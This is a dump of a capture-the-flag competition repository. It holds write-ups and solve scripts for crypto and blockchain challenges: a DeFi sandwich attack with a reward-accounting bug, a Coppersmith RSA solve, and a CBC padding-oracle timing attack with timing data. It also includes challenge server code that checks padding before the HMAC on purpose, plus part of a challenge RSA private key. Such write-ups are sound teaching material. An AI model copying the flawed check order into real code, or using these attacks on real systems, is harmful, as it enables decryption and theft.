├── .DS_Store ├── Blockchain ├── .DS_Store └── BabyDefi │ ├── README.md │ └── contracts.zip ├── Crypto ├── README.md ├── checkin │ └── wp.md ├── n1ogin │ ├── README.md │ ├── attachment │ │ ├── client.py │ │ ├── n1ogin.pub │ │ ├── packet.pcapng │ │ └── server.py │ └── deployment │ │ ├── Dockerfile │ │ ├── n1ogin.pem │ │ ├── secret.py │ │ ├── server.py │ │ └── start_from_here.py ├── n1token1 │ └── wp.md └── n1token2 │ └── wp.md ├── Misc ├── README.md ├── collision │ ├── README │ └── exp.py ├── ctfhub │ ├── README │ ├── crypt.cpp │ └── exp.py ├── funny_misc │ ├── README.md │ └── img.png └── hacker vs hacker │ ├── README │ ├── solve.py │ └── t.py ├── Pwn ├── README.md ├── babyFMT │ ├── README.md │ ├── babyprintf.c │ ├── deploy │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── bin │ │ │ ├── .DS_Store │ │ │ ├── babyFMT │ │ │ └── flag │ │ ├── ctf.xinetd │ │ └── start.sh │ └── exp.py ├── ctfhub2 │ ├── README │ ├── exploit.php │ └── php.7z ├── easyX11 │ ├── file │ │ ├── Dockerfile │ │ ├── flag │ │ ├── libc-2.32.so │ │ ├── run.py │ │ └── x11 │ ├── runexp.mkv │ └── src │ │ ├── exp.py │ │ ├── fcitx5.diff │ │ └── xim.c ├── exp's OJ │ ├── README.md │ ├── deploy │ │ ├── Dockerfile │ │ ├── drop_privs │ │ ├── flag │ │ ├── noj │ │ ├── nsjail │ │ ├── pow.py │ │ ├── pwn.cfg │ │ ├── runner │ │ └── setup │ ├── exp │ │ ├── chall1.c │ │ ├── chall2.c │ │ ├── chall3.c │ │ ├── encoder │ │ │ ├── __init__.py │ │ │ ├── encoder.py │ │ │ ├── shellcode_template.py │ │ │ └── util.py │ │ ├── pow.py │ │ └── run.py │ └── source_code │ │ ├── Makefile │ │ ├── main.c │ │ └── shellcode_runner │ │ └── runner.c └── house_of_tataru │ ├── README.md │ ├── deploy │ ├── Dockerfile │ ├── ctf.xinetd │ ├── docker-compose.yml │ ├── ld-musl-x86_64.so.1 │ └── pwn │ └── exp.py ├── README.md ├── Re ├── README.md ├── hello │ ├── README.md │ └── images │ │ └── image-20211122232738064.png └── py │ ├── L.py │ ├── README.md │ └── images │ ├── image-20211121171733796.png │ ├── image-20211122093925885.png │ └── image-20211122104824479.png └── Web ├── QQQueryyy_all_the_things ├── README.md └── source │ ├── Dockerfile │ ├── README.md │ ├── ctf.xinetd │ ├── flag │ ├── index.php │ ├── info.md │ ├── readflag │ └── start.sh ├── README.md ├── easyphp └── wp.md ├── funny_web ├── README.md ├── exp.py └── index.php ├── signin └── wp.md └── tornado ├── README.md └── source ├── Dockerfile ├── app ├── app.py └── templates │ └── index.html └── readflag /.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Nu1LCTF/n1ctf-2021/84a3fff50ee0ef2f1fece112c75104600cc86a5d/.DS_Store -------------------------------------------------------------------------------- /Blockchain/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Nu1LCTF/n1ctf-2021/84a3fff50ee0ef2f1fece112c75104600cc86a5d/Blockchain/.DS_Store -------------------------------------------------------------------------------- /Blockchain/BabyDefi/README.md: -------------------------------------------------------------------------------- 1 | ## Writeup 2 | 3 | Sandwich attack + Arbitrary mint 4 | 5 | The public function sellSomeForFlag() can be used to launch a sandwich attack. 6 | 7 | - FlashLoan borrow N1Token 8 | - swap N1Token for Flagtoken in SimpleSwap 9 | - call sellSomeForFlag function 10 | - swap Flagtoken for N1Token 11 | - return FlashLoan 12 | 13 | After this step, you will get about 514*1e18 N1Token. 14 | 15 | There is a update delay in the deposit function: 16 | 17 | ``` 18 | function deposit(address token,uint256 _amount) external { 19 | require(token == tokenAccept,"Fake Token."); 20 | PoolInfo memory poolInfo = poolInfos[token]; //old 21 | updatePool(token); 22 | UserInfo storage user = userInfo[msg.sender]; 23 | if (user.amount > 0) { 24 | uint256 pending = user.amount.mul(poolInfo.accRewardsPerToken).div(1e18).sub(user.rewardDebt); 25 | if (pending > 0) { 26 | IMintToken(flagToken).mint(msg.sender, pending); 27 | } 28 | } 29 | if (_amount > 0) { 30 | IERC20(token).safeTransferFrom(address(msg.sender), address(this), _amount); 31 | user.amount = user.amount.add(_amount); 32 | } 33 | user.rewardDebt = user.amount.mul(poolInfo.accRewardsPerToken).div(1e18); // wrong 34 | emit Deposit(msg.sender,_amount); 35 | } 36 | ``` 37 | 38 | So the user.rewardDebt is miscalculated.So a sufficient amount of Flagtoken can be obtained by doing the following. 39 | 40 | - Deposit 1 N1Token. 41 | - Wait for about 6 minutes to get enough pool.accRewardsPerToken. 42 | - Deposit the rest of N1Token, and claimReward. 43 | 44 | 45 | 46 | ## Setup Environment 47 | 48 | Thanks to chainflag for providing the environment. 49 | 50 | Set up the environment with [eta-challenge-base](https://github.com/chainflag/eth-challenge-base). 51 | 52 | -------------------------------------------------------------------------------- /Blockchain/BabyDefi/contracts.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Nu1LCTF/n1ctf-2021/84a3fff50ee0ef2f1fece112c75104600cc86a5d/Blockchain/BabyDefi/contracts.zip -------------------------------------------------------------------------------- /Crypto/README.md: -------------------------------------------------------------------------------- 1 | ## Crypto 2 | 3 | | Challenge | Solves | 4 | | :----------------: | :----: | 5 | | [n1ogin](./n1ogin) | 7 | 6 | | [checkin](./checkin) | 7 | 7 | | [n1token1](./n1token1) | 3 | 8 | | [n1token2](./n1token2) | 3 | 9 | 10 | -------------------------------------------------------------------------------- /Crypto/checkin/wp.md: -------------------------------------------------------------------------------- 1 | # Checkin 2 | 3 | - Calculate the upper and lower bounds on $x$ based on the given higher 22 bits of $p$. 4 | 5 | - Based on $h \equiv x + x^{-1} \pmod{n}$, we can derive another equation $x^2-hx+1 \equiv 0 \pmod{n}$. 6 | 7 | - Apply coppersmith's attack with $\epsilon = 0.02$, and run it for about a minute to recover $x$. 8 | - Calculate $p$ and $q$ based on $x$ and $n$, and then decrypt the ciphertext to get flag. 9 | 10 | ~~~python 11 | from Crypto.Util.number import * 12 | n = 124592923216765837982528839202733339713655242872717311800329884147642320435241014134533341888832955643881019336863843062120984698416851559736918389766033534214383285754683751490292848191235308958825702189602212123282858416891155764271492033289942894367802529296453904254165606918649570613530838932164490341793 13 | c = 119279592136391518960778700178474826421062018379899342254406783670889432182616590099071219538938202395671695005539485982613862823970622126945808954842683496637377151180225469409261800869161467402364879561554585345399947589618235872378329510108345004513054262809629917083343715270605155751457391599728436117833 14 | h = 115812446451372389307840774747986196103012628652193338630796109042038320397499948364970459686079508388755154855414919871257982157430015224489195284512204803276307238226421244647463550637321174259849701618681565567468929295822889537962306471780258801529979716298619553323655541002084406217484482271693997457806 15 | p0 = 4055618 16 | 17 | lb = 2021*(p0<<490)+1120*n//(p0<<490) 18 | ub = 2021*((p0+1)<<490)+1120*n//((p0+1)<<490) 19 | print(int(ub-lb).bit_length()) 20 | PR. = PolynomialRing(Zmod(n)) 21 | f = (x+lb)^2-h*(x+lb)+1 22 | y = f.small_roots(X=ub-lb,epsilon=0.02) 23 | s1 = int(y[0])+lb 24 | s2 = (s1*s1-4*2021*1120*n)**(1/2) 25 | p = (s1+s2)//4042 26 | q = (s1-s2)//2240 27 | d = inverse(65537,int((p-1)*(q-1))) 28 | m = pow(c,d,n) 29 | print(long_to_bytes(m)) 30 | 31 | ~~~ 32 | -------------------------------------------------------------------------------- /Crypto/n1ogin/README.md: -------------------------------------------------------------------------------- 1 | ## Writeup 2 | 3 | TL;DR: CBC padding oracle + Timing attack 4 | 5 | It's known that AES-CBC encryption is short of integrity protection, which results in plenty of attacks—the BEAST attack, bit-flipping attack, and padding oracle attack to name a few. In this challenge, [HMAC](https://en.wikipedia.org/wiki/HMAC) is thus added to prevent these attacks. However, the order to check the HMAC is mistakenly implemented, leading to another vulnerability that could be exploited to recover the whole plaintext. 6 | 7 | First, let's have a look at the program control flow: 8 | 9 | ![A87E24F3-EBF9-41EB-A91F-13A5F4DD5877](https://soreatu-1300077947.cos.ap-nanjing.myqcloud.com/uPic/A87E24F3-EBF9-41EB-A91F-13A5F4DD5877.png "program control flow (fragment)") 10 | 11 | Following the AES decryption is the step to check padding. If the plaintext does not conform to the PKCS7 padding scheme, the program will print `"Error!"` and return immediately, skipping the HMAC check below. If the padding check is passed, it will do the next HMAC check. 12 | 13 | What is strange about the HMAC check is that it computes the `mac` 7777 times, which is quite a long time (compared to other operations). This is very important. The server responses *earlier* when the padding format is wrong! Even if we modify the ciphertext and cannot pass the HMAC check, we can still acquire some information about the padding by measuring the time between sending the request and receiving the error message. This means that we can still mount the CBC padding oracle attack, with timing information to determine whether the padding is ok, to recover the whole plaintext. 14 | 15 | For the purpose of proof of concept, we can modify the last byte of the given ciphertext, send it to the server, wait for the response, and meanwhile, measure the time. 16 | 17 | ``` 18 | 0 70.09196281433105ms 19 | 1 70.53399085998535ms 20 | 2 69.60463523864746ms 21 | 3 69.52619552612305ms 22 | 4 69.27323341369629ms 23 | 5 70.07908821105957ms 24 | 6 69.80299949645996ms 25 | 7 68.9241886138916ms 26 | 8 69.86689567565918ms 27 | 9 70.0218677520752ms 28 | 10 69.83304023742676ms 29 | 11 69.54693794250488ms 30 | 12 69.63682174682617ms 31 | 13 68.96018981933594ms 32 | 14 69.89383697509766ms 33 | 15 69.81396675109863ms 34 | 16 69.79799270629883ms 35 | 17 69.62990760803223ms 36 | 18 70.59693336486816ms 37 | 19 68.7570571899414ms 38 | 20 70.01614570617676ms 39 | 21 71.58613204956055ms 40 | 22 69.67687606811523ms 41 | 23 70.24788856506348ms 42 | 24 70.34873962402344ms 43 | 25 68.82596015930176ms 44 | 26 70.24884223937988ms 45 | 27 69.83399391174316ms 46 | 28 69.77486610412598ms 47 | 29 70.89710235595703ms 48 | 30 70.37115097045898ms 49 | 31 69.18001174926758ms 50 | 32 70.0368881225586ms 51 | 33 69.98920440673828ms 52 | 34 69.58699226379395ms 53 | 35 69.64588165283203ms 54 | 36 69.84615325927734ms 55 | 37 69.04888153076172ms 56 | 38 69.9009895324707ms 57 | 39 69.23413276672363ms 58 | 40 69.81611251831055ms 59 | 41 69.3662166595459ms 60 | 42 70.04308700561523ms 61 | 43 68.99905204772949ms 62 | 44 69.53096389770508ms 63 | 45 69.51212882995605ms 64 | 46 69.97418403625488ms 65 | 47 70.04594802856445ms 66 | 48 70.81174850463867ms 67 | 49 70.72091102600098ms 68 | 50 70.04404067993164ms 69 | 51 70.35183906555176ms 70 | 52 69.09012794494629ms 71 | 53 70.61100006103516ms 72 | 54 69.31304931640625ms 73 | 55 69.67592239379883ms 74 | 56 69.90909576416016ms 75 | 57 69.69690322875977ms 76 | 58 70.35112380981445ms 77 | 59 69.64898109436035ms 78 | 60 69.82088088989258ms 79 | 61 69.87905502319336ms 80 | 62 70.13297080993652ms 81 | 63 70.09410858154297ms 82 | 64 69.69332695007324ms 83 | 65 69.40603256225586ms 84 | 66 69.43988800048828ms 85 | 67 69.66495513916016ms 86 | 68 70.52278518676758ms 87 | 69 69.92793083190918ms 88 | 70 69.11587715148926ms 89 | 71 69.67806816101074ms 90 | 72 70.2211856842041ms 91 | 73 69.36502456665039ms 92 | 74 69.56076622009277ms 93 | 75 69.92602348327637ms 94 | 76 70.62816619873047ms 95 | 77 70.29509544372559ms 96 | 78 69.15593147277832ms 97 | 79 69.39506530761719ms 98 | 80 70.15490531921387ms 99 | 81 69.85187530517578ms 100 | 82 68.98307800292969ms 101 | 83 69.87786293029785ms 102 | 84 69.92626190185547ms 103 | 85 70.00184059143066ms 104 | 86 70.07217407226562ms 105 | 87 70.29986381530762ms 106 | 88 69.75913047790527ms 107 | 89 70.77765464782715ms 108 | 90 70.05906105041504ms 109 | 91 71.7778205871582ms 110 | 92 70.05906105041504ms 111 | 93 70.64676284790039ms 112 | 94 68.76277923583984ms 113 | 95 70.2219009399414ms 114 | 96 70.08576393127441ms 115 | 97 69.85807418823242ms 116 | 98 70.01590728759766ms 117 | 99 70.22285461425781ms 118 | 100 180.69005012512207ms 119 | 101 69.83518600463867ms 120 | 102 70.1439380645752ms 121 | 103 71.72298431396484ms 122 | 104 70.45340538024902ms 123 | 105 71.0899829864502ms 124 | 106 70.53184509277344ms 125 | 107 70.10102272033691ms 126 | 108 69.14401054382324ms 127 | 109 70.33491134643555ms 128 | 110 70.01399993896484ms 129 | 111 69.7622299194336ms 130 | 112 70.1906681060791ms 131 | 113 69.98562812805176ms 132 | 114 69.03386116027832ms 133 | 115 69.86808776855469ms 134 | 116 70.0080394744873ms 135 | 117 69.95892524719238ms 136 | 118 69.54669952392578ms 137 | 119 69.60320472717285ms 138 | 120 69.14710998535156ms 139 | 121 70.83702087402344ms 140 | 122 70.15800476074219ms 141 | 123 69.50712203979492ms 142 | 124 71.26402854919434ms 143 | 125 70.20902633666992ms 144 | 126 70.58501243591309ms 145 | 127 69.97108459472656ms 146 | 128 69.41795349121094ms 147 | 129 69.48590278625488ms 148 | 130 70.12605667114258ms 149 | 131 69.40484046936035ms 150 | 132 69.14281845092773ms 151 | 133 70.16897201538086ms 152 | 134 69.89789009094238ms 153 | 135 70.23906707763672ms 154 | 136 70.46008110046387ms 155 | 137 68.94898414611816ms 156 | 138 69.93508338928223ms 157 | 139 69.61703300476074ms 158 | 140 70.23096084594727ms 159 | 141 70.30797004699707ms 160 | 142 69.58317756652832ms 161 | 143 69.10014152526855ms 162 | 144 70.19901275634766ms 163 | 145 70.30892372131348ms 164 | 146 69.86188888549805ms 165 | 147 69.87595558166504ms 166 | 148 69.19002532958984ms 167 | 149 69.69499588012695ms 168 | 150 70.01996040344238ms 169 | 151 70.00994682312012ms 170 | 152 70.35303115844727ms 171 | 153 70.52373886108398ms 172 | 154 69.59295272827148ms 173 | 155 69.29683685302734ms 174 | 156 71.21491432189941ms 175 | 157 70.50228118896484ms 176 | 158 69.96893882751465ms 177 | 159 70.08004188537598ms 178 | 160 69.11516189575195ms 179 | 161 69.79107856750488ms 180 | 162 69.80609893798828ms 181 | 163 69.49925422668457ms 182 | 164 70.98793983459473ms 183 | 165 72.09992408752441ms 184 | 166 69.33999061584473ms 185 | 167 70.1909065246582ms 186 | 168 69.7481632232666ms 187 | 169 70.10602951049805ms 188 | 170 70.22380828857422ms 189 | 171 69.8399543762207ms 190 | 172 69.9319839477539ms 191 | 173 70.18303871154785ms 192 | 174 70.10674476623535ms 193 | 175 70.19710540771484ms 194 | 176 70.6167221069336ms 195 | 177 70.35017013549805ms 196 | 178 69.74577903747559ms 197 | 179 69.66137886047363ms 198 | 180 69.41485404968262ms 199 | 181 70.11103630065918ms 200 | 182 70.12581825256348ms 201 | 183 69.88191604614258ms 202 | 184 70.80698013305664ms 203 | 185 70.19901275634766ms 204 | 186 69.10276412963867ms 205 | 187 70.59502601623535ms 206 | 188 69.28896903991699ms 207 | 189 69.93484497070312ms 208 | 190 70.45412063598633ms 209 | 191 71.26903533935547ms 210 | 192 69.76008415222168ms 211 | 193 70.12629508972168ms 212 | 194 69.97394561767578ms 213 | 195 70.73187828063965ms 214 | 196 70.94883918762207ms 215 | 197 181.0009479522705ms 216 | 198 70.75691223144531ms 217 | 199 68.96805763244629ms 218 | 200 70.28388977050781ms 219 | 201 70.43600082397461ms 220 | 202 69.9000358581543ms 221 | 203 70.41525840759277ms 222 | 204 69.61917877197266ms 223 | 205 69.59795951843262ms 224 | 206 69.97394561767578ms 225 | 207 70.0218677520752ms 226 | 208 69.92912292480469ms 227 | 209 70.97697257995605ms 228 | 210 70.51491737365723ms 229 | 211 70.57595252990723ms 230 | 212 69.92101669311523ms 231 | 213 69.95010375976562ms 232 | 214 70.2199935913086ms 233 | 215 70.15705108642578ms 234 | 216 69.87810134887695ms 235 | 217 69.75793838500977ms 236 | 218 70.92499732971191ms 237 | 219 70.71685791015625ms 238 | 220 70.39403915405273ms 239 | 221 70.34516334533691ms 240 | 222 70.65320014953613ms 241 | 223 70.68395614624023ms 242 | 224 70.6629753112793ms 243 | 225 70.2371597290039ms 244 | 226 70.33896446228027ms 245 | 227 70.11890411376953ms 246 | 228 69.9777603149414ms 247 | 229 70.5718994140625ms 248 | 230 70.74785232543945ms 249 | 231 71.32077217102051ms 250 | 232 70.97792625427246ms 251 | 233 71.04992866516113ms 252 | 234 69.73099708557129ms 253 | 235 71.96784019470215ms 254 | 236 71.38299942016602ms 255 | 237 71.69389724731445ms 256 | 238 71.35796546936035ms 257 | 239 71.33984565734863ms 258 | 240 70.51491737365723ms 259 | 241 70.78814506530762ms 260 | 242 71.55394554138184ms 261 | 243 70.55902481079102ms 262 | 244 70.59574127197266ms 263 | 245 71.27094268798828ms 264 | 246 69.61321830749512ms 265 | 247 70.3740119934082ms 266 | 248 70.06311416625977ms 267 | 249 70.5111026763916ms 268 | 250 70.17922401428223ms 269 | 251 70.49012184143066ms 270 | 252 69.52881813049316ms 271 | 253 70.66702842712402ms 272 | 254 70.70207595825195ms 273 | 255 72.33285903930664ms 274 | ``` 275 | 276 | As we can see from the data above, when the padding check is not passed, the total time between sending the request and receiving the response is approximately 70ms, while it is about 180ms when the padding check is passed. The time difference is 110ms, which is quite sufficient to exploit. 277 | 278 | What left to do is just implement the ordinary padding oracle attack to recover the password of admin and use it to login in the system and get flag. 279 | 280 | --- 281 | 282 | PS: 7777 times HMAC calculation is intentionally made to help the player exploit easier. In the [real world scenario](https://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.702.1052&rep=rep1&type=pdf), even if the HMAC calucation is only once, timing attack is still feasible by some techniques such as increasing the length of the ciphertext to make the HMAC calculation longer or applying statistical analysis to timing measurements. 283 | 284 | PPS: In fact, the AES part in this challenge is a case of [Encrypt-then-MAC](https://crypto.stackexchange.com/questions/202/should-we-mac-then-encrypt-or-encrypt-then-mac). The correct way to do it during decryption is that, before any other operations, the HMAC **MUST** be checked first to prevent any modification on the ciphertext. Only if the HMAC check is passed can the decryption operation be done safely. 285 | 286 | PPPS: Timing attack is a prominent side channel method to exploit cryptographic flaws in real world, while it is rare to meet in CTF. -------------------------------------------------------------------------------- /Crypto/n1ogin/attachment/client.py: -------------------------------------------------------------------------------- 1 | import os 2 | import json 3 | import time 4 | 5 | from Crypto.PublicKey.RSA import import_key 6 | from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes 7 | from cryptography.hazmat.primitives import hashes, hmac 8 | from pwn import * 9 | 10 | 11 | PUB_KEY = import_key(open("n1ogin.pub", "r").read()) 12 | 13 | 14 | def seal(content): 15 | iv = os.urandom(16) 16 | aes_key = os.urandom(24) 17 | hmac_key = os.urandom(24) 18 | 19 | mm = int.from_bytes(PKCS1_pad(aes_key+hmac_key), 'big') 20 | rsa_data = pow(mm, PUB_KEY.e, PUB_KEY.n).to_bytes(2048//8, 'big') 21 | 22 | aes = Cipher(algorithms.AES(aes_key), modes.CBC(iv)) 23 | encryptor = aes.encryptor() 24 | cipher = encryptor.update(PKCS7_pad(content)) + encryptor.finalize() 25 | 26 | mac = iv + cipher 27 | for _ in range(7777): 28 | h = hmac.HMAC(hmac_key, hashes.MD5()) 29 | h.update(mac) 30 | mac = h.finalize() 31 | aes_data = iv + cipher + mac 32 | 33 | res = { 34 | "rsa_data": rsa_data.hex(), 35 | "aes_data": aes_data.hex() 36 | } 37 | return res 38 | 39 | def PKCS1_pad(payload): 40 | assert len(payload) == 48 41 | return b"\x00\x02" + b"\x77"*(2048//8-2-1-48) + b"\x00" + payload 42 | 43 | def PKCS7_pad(payload): 44 | pad_length = 16 - len(payload)%16 45 | payload += bytes([pad_length]) * pad_length 46 | return payload 47 | 48 | def login(conn): 49 | username = input("username: ") 50 | password = input("password: ") 51 | content = json.dumps({ 52 | "choice": "login", 53 | "timestamp": int(time.time()), 54 | "nonce": os.urandom(8).hex(), 55 | "username": username, 56 | "password": password 57 | }) 58 | envelope = json.dumps(seal(content.encode())) 59 | conn.sendlineafter(b"> ", envelope.encode()) 60 | print(conn.recvline().decode()) 61 | conn.interactive() 62 | 63 | def register(conn): 64 | username = input("username: ") 65 | password = input("password: ") 66 | content = json.dumps({ 67 | "choice": "register", 68 | "timestamp": int(time.time()), 69 | "nonce": os.urandom(8).hex(), 70 | "username": username, 71 | "password": password 72 | }) 73 | envelope = json.dumps(seal(content.encode())) 74 | conn.sendlineafter(b"> ", envelope.encode()) 75 | print(conn.recvline().decode()) 76 | 77 | 78 | def main(): 79 | HOST = "127.0.0.1" 80 | PORT = 7777 81 | conn = remote(HOST, PORT) 82 | while True: 83 | choice = input("login/register: ") 84 | if choice == "login": 85 | login(conn) 86 | elif choice == "register": 87 | register(conn) 88 | else: 89 | break 90 | conn.close() 91 | 92 | if __name__ == "__main__": 93 | main() -------------------------------------------------------------------------------- /Crypto/n1ogin/attachment/n1ogin.pub: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuOXCp0k38fCpCEiDzw9V 3 | FDocsPe7k31eZYik1tafZws6e6rc2fEpctZEnjPmaPFpISaSZx1uv0V4S2xsJ9Tb 4 | xrPT71LI/cW1HRb/k3AsIIr5d5j0Siv1bgbgQaNjZ1KJoaIK1asC6Pmoc0VVYYu4 5 | qc2NGYhuq85AJ2fa7d9819rVYo9aKpfdrIGexlWn3KJ8AmdwALbaeBPaZ0wHkGaL 6 | 6D0lfqnIHtLlIGOeQZXXlLQ4IbsMs2fiHVAdLOTHrsRSJ4CP7VQVbknp9L8QEG82 7 | MiiyzUG1pwBWuTZsI1W22kPc6FSLzDc7guuby5auxr1r95peBRJEFSVv7WfdzxD4 8 | tQIDAQAB 9 | -----END PUBLIC KEY----- 10 | -------------------------------------------------------------------------------- /Crypto/n1ogin/attachment/packet.pcapng: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Nu1LCTF/n1ctf-2021/84a3fff50ee0ef2f1fece112c75104600cc86a5d/Crypto/n1ogin/attachment/packet.pcapng -------------------------------------------------------------------------------- /Crypto/n1ogin/attachment/server.py: -------------------------------------------------------------------------------- 1 | import os 2 | import json 3 | import time 4 | 5 | from Crypto.PublicKey.RSA import import_key 6 | from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes 7 | from cryptography.hazmat.primitives import hashes, hmac 8 | 9 | from secret import FLAG, SALT 10 | 11 | 12 | # generated by `openssl genrsa -out n1ogin.pem 2048` 13 | PRIV_KEY = import_key(open("n1ogin.pem", "r").read()) 14 | 15 | # nonce for replay attack 16 | Nonces = set() 17 | 18 | 19 | def cal_password_hash(password): 20 | hash = password.encode() + SALT 21 | for _ in range(7777): # enhanced secure 22 | digest = hashes.Hash(hashes.MD5()) 23 | digest.update(hash) 24 | hash = digest.finalize() 25 | return hash 26 | 27 | def RSA_decrypt(rsa_data): 28 | cc = int.from_bytes(rsa_data, 'big') 29 | mm = pow(cc, PRIV_KEY.d, PRIV_KEY.n) 30 | message = mm.to_bytes(2048//8, 'big') 31 | 32 | if check_PKCS1(message): 33 | payload = message[-48:] 34 | else: 35 | # To prevent Bleichenbacher's attack, we continue with random bytes 36 | # when the PKCS1 check is not passed 37 | payload = os.urandom(48) 38 | return payload 39 | 40 | def check_PKCS1(message): 41 | # message: 0x00 || 0x02 || padding string || 0x00 || (48 bytes) payload 42 | ok = all([ 43 | message[0] == 0x00, 44 | message[1] == 0x02, 45 | all(byte != 0x00 for byte in message[2:-49]), 46 | message[-49] == 0x00 47 | ]) 48 | return ok 49 | 50 | def check_time(timestamp): 51 | return abs(int(time.time()) - timestamp) < 30 52 | 53 | def check_nonce(nonce): 54 | if nonce in Nonces: 55 | return False 56 | Nonces.add(nonce) 57 | return True 58 | 59 | def AES_decrypt(key, enc_data): 60 | # key: aes_key || hmac_key 61 | aes_key = key[:24] 62 | hmac_key = key[24:] 63 | # enc_data: iv || cipher || mac 64 | iv, cipher, mac = enc_data[:16], enc_data[16:-16], enc_data[-16:] 65 | 66 | aes = Cipher(algorithms.AES(aes_key), modes.CBC(iv)) 67 | decryptor = aes.decryptor() 68 | data = decryptor.update(cipher) + decryptor.finalize() 69 | 70 | # check padding 71 | data = unpad(data) 72 | if not data: 73 | return None, "padding error" 74 | 75 | # check hmac 76 | cal_mac = iv + cipher 77 | for _ in range(7777): # enhanced secure 78 | h = hmac.HMAC(hmac_key, hashes.MD5()) 79 | h.update(cal_mac) 80 | cal_mac = h.finalize() 81 | if cal_mac != mac: 82 | return None, "hmac error" 83 | 84 | return data, None 85 | 86 | def pad(pt): 87 | pad_length = 16 - len(pt)%16 88 | pt += bytes([pad_length]) * pad_length 89 | return pt 90 | 91 | def unpad(ct): 92 | pad_length = ct[-1] 93 | if pad(ct[:-pad_length]) == ct: 94 | return ct[:-pad_length] 95 | else: 96 | return None 97 | 98 | def login(username, password): 99 | if username not in Users or Users[username] != cal_password_hash(password): 100 | print("login failed...") 101 | return 102 | print(f"{username} login ok!") 103 | echo_shell(username) 104 | 105 | def register(username, password): 106 | if username in Users or len(username) > 20: 107 | print("register failed...") 108 | else: 109 | Users[username] = cal_password_hash(password) 110 | print(f"{username} register ok!") 111 | 112 | def echo_shell(username): 113 | while True: 114 | command = input(f"{username}@local> ") 115 | if username == "admin" and command == "flag": 116 | print(FLAG) 117 | elif command == "exit": 118 | exit(0) 119 | else: 120 | print(command) 121 | 122 | def handle(envelope): 123 | try: 124 | envelope_json = json.loads(envelope) 125 | 126 | key = RSA_decrypt(bytes.fromhex(envelope_json["rsa_data"])) 127 | content, err = AES_decrypt(key, bytes.fromhex(envelope_json["aes_data"])) 128 | if err: 129 | print("Error!") 130 | return 131 | 132 | content = json.loads(content) 133 | # check nonce 134 | if not check_nonce(content["nonce"]): 135 | print("Error!") 136 | return 137 | # check time 138 | if not check_time(content["timestamp"]): 139 | print("Error!") 140 | return 141 | # handle login/register 142 | choice = content["choice"] 143 | if choice == "login": 144 | login(content["username"], content["password"]) 145 | elif choice == "register": 146 | register(content["username"], content["password"]) 147 | else: 148 | print("Error!") 149 | 150 | except Exception as e: 151 | print("Error!") 152 | 153 | 154 | Users = { 155 | # username:password_hash 156 | "admin": "REACTED", # admin password obeys the strong password policy 157 | "guest": cal_password_hash("guest") 158 | } 159 | 160 | 161 | def main(): 162 | print("Welcome to the n1ogin system!") 163 | while True: 164 | envelope = input("> ") 165 | handle(envelope) 166 | 167 | if __name__ == "__main__": 168 | main() -------------------------------------------------------------------------------- /Crypto/n1ogin/deployment/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.9-alpine 2 | LABEL Description="n1ogin" VERSION='1.0' 3 | 4 | ENV CRYPTOGRAPHY_DONT_BUILD_RUST=1 5 | 6 | RUN apk update 7 | RUN apk add gcc musl-dev python3-dev libffi-dev openssl-dev socat 8 | 9 | WORKDIR /opt/n1ogin 10 | RUN mkdir -p /opt/n1ogin 11 | 12 | COPY start_from_here.py . 13 | COPY server.py . 14 | COPY secret.py . 15 | COPY n1ogin.pem . 16 | 17 | RUN pip3 install cryptography 18 | RUN pip3 install pycryptodome 19 | 20 | EXPOSE 7777 21 | CMD ["python3", "start_from_here.py", ">>", "log.txt"] -------------------------------------------------------------------------------- /Crypto/n1ogin/deployment/n1ogin.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIIEpAIBAAKCAQEAuOXCp0k38fCpCEiDzw9VFDocsPe7k31eZYik1tafZws6e6rc 3 | 2fEpctZEnjPmaPFpISaSZx1uv0V4S2xsJ9TbxrPT71LI/cW1HRb/k3AsIIr5d5j0 4 | Siv1bgbgQaNjZ1KJoaIK1asC6Pmoc0VVYYu4qc2NGYhuq85AJ2fa7d9819rVYo9a 5 | KpfdrIGexlWn3KJ8AmdwALbaeBPaZ0wHkGaL6D0lfqnIHtLlIGOeQZXXlLQ4IbsM 6 | s2fiHVAdLOTHrsRSJ4CP7VQVbknp9L8QEG82MiiyzUG1pwBWuTZsI1W22kPc6FSL 7 | zDc7guuby5auxr1r95peBRJEFSVv7WfdzxD4tQIDAQABAoIBAE/eB4AlU4Ixt4I5 8 | eJ43fEO5em1DBYaHMABhzvpySPbE1eVXgACweHv/bDJ+LrgEF6pXNARQpWb/xh+m 9 | XO2zt5+UTCbjtqhP/5TqO0nfuV/xSCNOMa/cXy7Az5vqzORztbnY+h8juKUUOpxY 10 | RbJWHVVT0fBGi6+w7utWpC3+TLocM/ghb0wUp9v77CGyh+VIGGFrQZO4R51yENse 11 | yxXa5apxGk/6P1EDjkz4Id73nIRgnZ/SiG5O9E0uIjFQN+rE+GCr4JMc2k4euUUX 12 | dVX1vazBSNJCUzUXXd+mTOcur/HDtAMKNywrSUq/WnGg594A5gKRZcEs24U16sd3 13 | 2Bb06Z0CgYEA3LyNBr7HBTUXPmNm7WZ1PGvC+yvQvRtoym5AxFmgCcsWth5FQwlD 14 | uCtELQw6dQGYy9vF4bhXXQGknfBhrlty3AKutPw2/qAdIBLAwmZ/Sc0q06M0IS7o 15 | YYm06/hEYdNtOnzXFf+EV+ZCBjez/fsxQosIAmqvDs3zi9lyIBw0ci8CgYEA1m+A 16 | vnWOPCRwOfBVN5ClV+HrjY46iaVlOFkxZ4HHWoUxUOs1Jk+CJEfMsx0EikhmtNcB 17 | x9ok8VWPRS9XeR5j49JBGcqM1uX3jG/WE3Mppgj1+NCEMY1nI5zMeL+hfIXQsfec 18 | OQSJGNIutukaqaSS8/mz/G3BJnJmD3jdpS9LPlsCgYEAkTknm1F2hLGKKkyhkfy/ 19 | ktHfBPqtqUzYI55n1AaXKPpJZeYCcXkt6YPlpbGO4B391dkwljF+oL0M/bABxAF8 20 | 